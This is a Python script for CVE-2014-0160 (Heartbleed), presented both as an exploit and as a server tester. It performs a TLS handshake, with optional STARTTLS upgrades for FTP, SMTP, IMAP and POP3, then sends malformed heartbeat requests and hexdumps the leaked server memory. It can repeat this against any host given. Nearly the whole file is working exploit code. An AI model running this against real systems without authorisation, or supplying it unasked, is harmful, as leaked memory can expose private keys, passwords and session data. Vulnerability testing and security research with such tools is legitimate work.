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heartbleed.py
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heartbleed.py
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#!/usr/bin/env python
# Exploitation of CVE-2014-0160 Heartbeat for the server
# Author: Peter Wu <[email protected]>
# Licensed under the MIT license <https://opensource.org/licenses/MIT>.
# Python 2.6 compatibility
from __future__ import unicode_literals
import socket
import sys
import struct
import time
from argparse import ArgumentParser
# Hexdump etc
from pacemaker import hexdump, make_heartbeat, read_record, read_hb_response
from pacemaker import Failure, payload_len
parser = ArgumentParser(description='Test servers for Heartbleed (CVE-2014-0160)')
parser.add_argument('host', help='Hostname to connect to')
parser.add_argument('-6', '--ipv6', action='store_true',
help='Enable IPv6 addresses (implied by IPv6 listen addr. such as ::)')
parser.add_argument('-p', '--port', type=int, default=None,
help='TCP port to connect to (default depends on service)')
# Note: FTP is (Explicit FTPS). Use TLS for Implicit FTPS
parser.add_argument('-s', '--service', default='tls',
choices=['tls', 'ftp', 'smtp', 'imap', 'pop3'],
help='Target service type (default %(default)s)')
parser.add_argument('-t', '--timeout', type=int, default=3,
help='Timeout in seconds to wait for a Heartbeat (default %(default)d)')
parser.add_argument('-x', '--count', type=int, default=1,
help='Number of Heartbeats requests to be sent (default %(default)d)')
parser.add_argument('-n', '--payload-length', type=payload_len, default=0xffed,
dest='payload_len',
help='Requested payload length including 19 bytes heartbeat type, ' +
'payload length and padding (default %(default)#x bytes)')
default_ports = {
'tls': 443,
'ftp': 21,
'smtp': 25, # tcp port 587 is used for submission
'imap': 143,
'pop3': 110,
}
def make_clienthello(sslver='03 01'):
# openssl ciphers -V 'HIGH:!MD5:!PSK:!DSS:!ECDSA:!aNULL:!SRP' |
# awk '{gsub("0x","");print tolower($1)}' | tr ',\n' ' '
ciphers = u'''
c0 30 c0 28 c0 14 00 9f 00 6b 00 39 00 88 c0 32
c0 2e c0 2a c0 26 c0 0f c0 05 00 9d 00 3d 00 35
00 84 c0 12 00 16 c0 0d c0 03 00 0a c0 2f c0 27
c0 13 00 9e 00 67 00 33 00 45 c0 31 c0 2d c0 29
c0 25 c0 0e c0 04 00 9c 00 3c 00 2f 00 41
'''
ciphers_len = len(bytearray.fromhex(ciphers.replace('\n', '')))
# Handshake type and length will be added later
hs = sslver
hs += 32 * ' 42' # Random
hs += ' 00' # SID length
hs += ' 00 {0:02x}'.format(ciphers_len) + ciphers
hs += ' 01 00 ' # Compression methods (1); NULL compression
# Extensions length
hs += ' 00 05' # Extensions length
# Heartbeat extension
hs += ' 00 0f' # Heartbeat type
hs += ' 00 01' # Length
hs += ' 01' # mode (peer allowed to send requests)
hs_data = bytearray.fromhex(hs.replace('\n', ''))
# ClientHello (1), length 00 xx xx
hs_data = struct.pack(b'>BBH', 1, 0, len(hs_data)) + hs_data
# Content Type: Handshake (22)
record_data = bytearray.fromhex(u'16 ' + sslver)
record_data += struct.pack(b'>H', len(hs_data))
record_data += hs_data
return record_data
def skip_server_handshake(sock, timeout):
end_time = time.time() + timeout
hs_struct = struct.Struct(b'!BBH')
for i in range(0, 5):
record, error = read_record(sock, timeout)
timeout = end_time - time.time()
if not record:
raise Failure('Unexpected server handshake! ' + str(error))
content_type, sslver_num, fragment = record
if content_type != 22:
raise Failure('Expected handshake type, got ' + str(content_type))
sslver = '{0:02x} {1:02x}'.format(sslver_num >> 8, sslver_num & 0xFF)
off = 0
# Records may consist of multiple handshake messages
while off + hs_struct.size <= len(fragment):
hs_type, len_high, len_low = hs_struct.unpack_from(fragment, off)
if off + len_low > len(fragment):
raise Failure('Illegal handshake length!')
off += hs_struct.size + len_low
# Server handshake is complete after ServerHelloDone
if hs_type == 14:
# Ready to check for vulnerability
return sslver
raise Failure('Too many handshake messages')
def handle_ssl(sock, args, sslver='03 01'):
# ClientHello
sock.sendall(make_clienthello(sslver))
# Skip ServerHello, Certificate, ServerKeyExchange, ServerHelloDone
sslver = skip_server_handshake(sock, args.timeout)
# Are you alive? Heartbeat please!
try:
sock.sendall(make_heartbeat(sslver, args.payload_len))
except socket.error as e:
print('Unable to send heartbeat! ' + str(e))
return False
try:
memory = read_hb_response(sock, args.timeout)
if memory is not None and not memory:
print('Possibly not vulnerable')
return False
elif memory:
print('Server returned {0} ({0:#x}) bytes'.format(len(memory)))
hexdump(memory)
except socket.error as e:
print('Unable to read heartbeat response! ' + str(e))
return False
# "Maybe" vulnerable
return True
def test_server(args, prepare_func=None, family=socket.AF_INET):
try:
try:
sock = socket.socket(family=family)
sock.settimeout(args.timeout) # For writes, reads are already guarded
sock.connect((args.host, args.port))
except socket.error as e:
print('Unable to connect to {0}:{1}: {2}'.format(args.host, args.port, e))
return False
remote_addr, remote_port = sock.getpeername()[:2]
print('Connected to: {0}:{1}'.format(remote_addr, remote_port))
if prepare_func is not None:
prepare_func(sock)
print('Pre-TLS stage completed, continuing with handshake')
return handle_ssl(sock, args)
except (Failure, socket.error) as e:
print('Unable to check for vulnerability: ' + str(e))
return False
finally:
if sock:
sock.close()
class Linereader(object):
def __init__(self, sock):
self.buffer = bytearray()
self.sock = sock
def readline(self):
if not b'\n' in self.buffer:
self.buffer += self.sock.recv(4096)
nlpos = self.buffer.index(b'\n')
if nlpos >= 0:
line = self.buffer[:nlpos+1]
del self.buffer[:nlpos+1]
return line.decode('ascii')
return ''
class Services(object):
@classmethod
def get_prepare(cls, service):
name = 'prepare_' + service
if hasattr(cls, name):
return getattr(cls, name)
return None
@staticmethod
def readline_expect(reader, expected, what=None):
line = reader.readline()
if not line.upper().startswith(expected.upper()):
if what is None:
what = expected
raise Failure('Expected ' + expected + ', got ' + line)
return line
@classmethod
def prepare_ftp(cls, sock):
reader = Linereader(sock)
tls = False
cls.readline_expect(reader, '220 ', 'FTP greeting')
sock.sendall(b'FEAT\r\n')
cls.readline_expect(reader, '211-', 'FTP features')
for i in range(0, 64):
line = reader.readline().upper()
if line.startswith(' AUTH TLS'):
tls = True
if line.startswith('211'):
break
if not tls:
raise Failure('AUTH TLS not supported')
sock.sendall(b'AUTH TLS\r\n')
cls.readline_expect(reader, '234 ', 'AUTH TLS ack')
@classmethod
def prepare_smtp(cls, sock):
reader = Linereader(sock)
tls = False
# Server greeting
cls.readline_expect(reader, '220 ', 'SMTP banner')
sock.sendall(b'EHLO pacemaker\r\n')
# Assume no more than 16 extensions
for i in range(0, 16):
line = cls.readline_expect(reader, '250', 'extension')
if line[4:].upper().startswith('STARTTLS'):
tls = True
if line[3] == ' ':
break
if not tls:
raise Failure('STARTTLS not supported')
sock.sendall(b'STARTTLS\r\n')
cls.readline_expect(reader, '220 ', 'STARTTLS acknowledgement')
@classmethod
def prepare_imap(cls, sock):
reader = Linereader(sock)
# actually, the greeting contains PREAUTH or OK
cls.readline_expect(reader, '* ', 'IMAP banner')
sock.sendall(b'a001 STARTTLS\r\n')
cls.readline_expect(reader, 'a001 OK', 'STARTTLS acknowledgement')
@classmethod
def prepare_pop3(cls, sock):
reader = Linereader(sock)
cls.readline_expect(reader, '+OK')
sock.sendall(b'STLS\r\n')
cls.readline_expect(reader, '+OK')
def main(args):
family = socket.AF_INET6 if args.ipv6 else socket.AF_INET
prep_func = Services.get_prepare(args.service)
# OpenSSL expects a client key exchange after its ServerHello. After the
# first heartbeat, it will reset the connection. That's why we cannot just
# repeatedly send heartbeats as the client does. For that, we need to
# complete the handshake, but that requires a different implementation
# approach. For now just keep re-connecting, it will flood server logs with
# handshake failures though.
for i in range(0, args.count):
if not test_server(args, prepare_func=prep_func, family=family):
break
if __name__ == '__main__':
args = parser.parse_args()
if args.port is None:
args.port = default_ports[args.service]
try:
main(args)
except KeyboardInterrupt:
pass